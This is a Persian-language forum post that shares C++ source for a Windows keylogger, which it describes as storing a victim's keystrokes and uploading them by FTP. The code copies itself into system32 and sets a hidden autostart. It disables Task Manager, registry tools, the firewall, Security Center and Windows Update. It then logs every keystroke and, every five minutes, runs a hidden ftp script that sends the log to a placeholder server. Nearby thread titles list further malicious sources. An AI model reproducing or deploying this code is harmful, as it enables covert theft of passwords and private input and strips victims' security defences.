• 1 Vote(s) - 5 Average
  • 1
  • 2
  • 3
  • 4
  • 5
سورس کد اف تی پی کیلاگر
#1
سورس کد زیر یک سورس کیلاگر به زبان سی پلاس پلاس هست که دارای قابلیت ذخیره لاگ های سیستم قربانی بر روی ftp رو دارد.
FTP Keylogger
Code:
#include <windows.h>

#include <Winuser.h>

#include <string>

#include <fstream>

using namespace std;



char BatchFile[20] = "system.bat";

char* params;



DWORD WINAPI OpenBatFile(LPVOID)

{

      for(;;) {

Sleep(300000);

ShellExecute(NULL, "open", BatchFile, NULL, NULL, SW_HIDE);}

}





std::string GetKey(int Key)

{

    std::string KeyString = "";



    if (Key == 8)

        KeyString = "[delete]";

    else if (Key == 13)

        KeyString = "n";

    else if (Key == 32)

        KeyString = " ";

    else if (Key == VK_PAUSE)

        KeyString = "[PAUSE]";

    else if (Key == VK_CAPITAL)

        KeyString = "[CAPITAL]";

    else if (Key == VK_SHIFT)

        KeyString = "[SHIFT]";

    else if (Key == VK_TAB)

        KeyString = "[TABULATOR]";

    else if (Key == VK_CONTROL)

        KeyString = "[CTRL]";

    else if (Key == VK_ESCAPE)

        KeyString = "[ESCAPE]";

    else if (Key == VK_END)

        KeyString = "[END]";

    else if (Key == VK_HOME)

        KeyString = "[HOME]";

    else if (Key == VK_LEFT)

        KeyString = "[LEFT]";

    else if (Key == VK_RIGHT)

        KeyString = "[RIGHT]";

    else if (Key == VK_UP)

        KeyString = "[UP]";

    else if (Key == VK_DOWN)

        KeyString = "[DOWN]";

    else if (Key == VK_SNAPSHOT)

        KeyString = "[SNAPSHOT]";

    else if (Key == VK_NUMLOCK)

        KeyString = "[NUMLOCK]";

    else if (Key == 190 || Key == 110)

        KeyString = ".";

  

    else if (Key >=96 && Key <= 105)

        KeyString = Key-48;

    else if (Key > 47 && Key < 60)

        KeyString = Key;

    if (Key != VK_LBUTTON || Key != VK_RBUTTON)

    {

        if (Key > 64 && Key < 91)

        {

            if (GetKeyState(VK_CAPITAL))

                KeyString = Key;

            else

            {

                Key = Key + 32;

                KeyString = Key;

            }

        }

    }



    return KeyString;

}



int main()

{

    int WINAPI WinMain (HINSTANCE hThisInstance,

    HINSTANCE hPrevInstance,

    LPSTR lpszArgument,

    int nFunsterStil);

    

  char path[MAX_PATH];

  HMODULE GetModH = GetModuleHandle(NULL);

    

  char sys[MAX_PATH];

  GetModuleFileName(GetModH, path, sizeof(path));

  GetSystemDirectory(sys, sizeof(sys));

  strcat(sys, "\borg.exe");

  CopyFile(path, sys, false);

    

  HKEY hKey, hKey2;

  

  unsigned char reg[2] = "0";

  

  RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_SET_VALUE, &hKey );

  RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys));

  RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",&hKey2);

  RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,reg,sizeof(reg));

  RegCloseKey(hKey),(hKey2);



  DeleteFile("C:\WINDOWS\system32\log.txt");  

    

  ofstream FWUP;

  FWUP.open("C:\WINDOWS\system32\update.bat");

  FWUP<<"@echo offn";

  FWUP<<"net stop ""Security Center""n";

  FWUP<<"net stop SharedAccessn";

  FWUP<<"> ""%Temp%.\kill.reg"" ECHO REGEDIT4n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO.n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO ""Start""=dword:00000004n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO.n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO ""Start""=dword:00000004n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO.n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO ""Start""=dword:00000004n";

  FWUP<<">>""%Temp%.\kill.reg"" ECHO.n";

  FWUP<<"START /WAIT REGEDIT /S ""%Temp%.\kill.reg""n";

  FWUP<<"DEL ""%Temp%.\kill.reg""n";

  FWUP<<"DEL %0n";

  FWUP.close();  

    

  ofstream disable;

  disable.open("C:\WINDOWS\system32\syssvr.bat");

  disable<<"@echo offn";

  disable<<"reg add ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ""disableregistrytools"" /t REG_DWORD /d ""1"" /f >NULn";

  disable.close();  

  

  //write ur ftp-information's here

  ofstream log;

  log.open("C:\WINDOWS\system32\drivers\config.sys");

  log<<"OPEN ftpservern";

  log<<"USER usernamen";

  log<<"ftppasswordn";

  log<<"ASCIIn";

  log<<"SEND C:\WINDOWS\system32\log.txtn";

  log<<"BYEn";

  log<<"exitn";

  log.close();

  

  ofstream Ausgabe;

  Ausgabe.open("C:\WINDOWS\system32\system.bat");

  Ausgabe<<"ftp -n -i -s:C:\WINDOWS\system32\drivers\config.sysn";

  Ausgabe<<"byen";

  Ausgabe<<"exitn";

  Ausgabe.close();

  

  ShellExecute(NULL, NULL, "C:\WINDOWS\system32\syssvr.bat", params, NULL, SW_HIDE);

  ShellExecute(NULL, NULL, "C:\WINDOWS\system32\update.bat", params, NULL, SW_HIDE);

  

  DWORD OpenBatch;

  

  HANDLE hOpenBatFile = CreateThread(NULL, 0, OpenBatFile, 0, 0, &OpenBatch);

    

    std::string Filename = "C:\WINDOWS\system32\log.txt";

    std::string TempString = "";

    std::fstream FStream;

    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);



    while(true)

    {

        // 0% CPU

        Sleep(5);



        for(int i = 8; i < 191; i++)

        {

           if(GetAsyncKeyState(i)&1 ==1)

           {

                TempString = GetKey (i);



                FStream.write(TempString.c_str(), TempString.size());

                FStream.close();

                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

           }

        }

    }

}
  Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  سورس کد یک کیلاگر ساده ولی قوی (سی ) Amin_Mansouri 6 14,251 06-17-2014، 04:52 PM
Last Post: محمدعلی
  مجموعه سورس کدهای مخرب (دلفی ) Amin_Mansouri 1 6,885 11-09-2013، 09:49 PM
Last Post: dosibb
  مجموعه سورس کدهای مخرب (سی پلاس پلاس) Amin_Mansouri 0 5,957 01-29-2013، 02:49 PM
Last Post: Amin_Mansouri
  سورس کد حمله SYN Flood (دلفی) Amin_Mansouri 0 3,837 09-09-2012، 01:25 PM
Last Post: Amin_Mansouri
  سورس کد ddos به زبان دلفی Amin_Mansouri 0 4,519 09-09-2012، 01:17 PM
Last Post: Amin_Mansouri
  سورس کد کیلاگر (سی شارپ) Amin_Mansouri 3 12,438 05-27-2012، 10:44 PM
Last Post: Ghoghnus
  سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) Amin_Mansouri 0 4,247 01-10-2012، 11:45 PM
Last Post: Amin_Mansouri
  درخواست سورس کد کی‌ لاگر newcoder 4 11,810 12-30-2011، 09:19 PM
Last Post: Ghoghnus
  سورس غیر فعال کردن uac با سی شارپ Amin_Mansouri 0 4,373 10-18-2011، 08:52 PM
Last Post: Amin_Mansouri

Forum Jump:


Users browsing this thread: 1 Guest(s)

MyBB SQL Error

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1017 - Can't find file: './pxramin_parsii/mybb_threadviews.MYI' (errno: 2 "No such file or directory")
Query:
INSERT INTO mybb_threadviews (tid) VALUES('2780')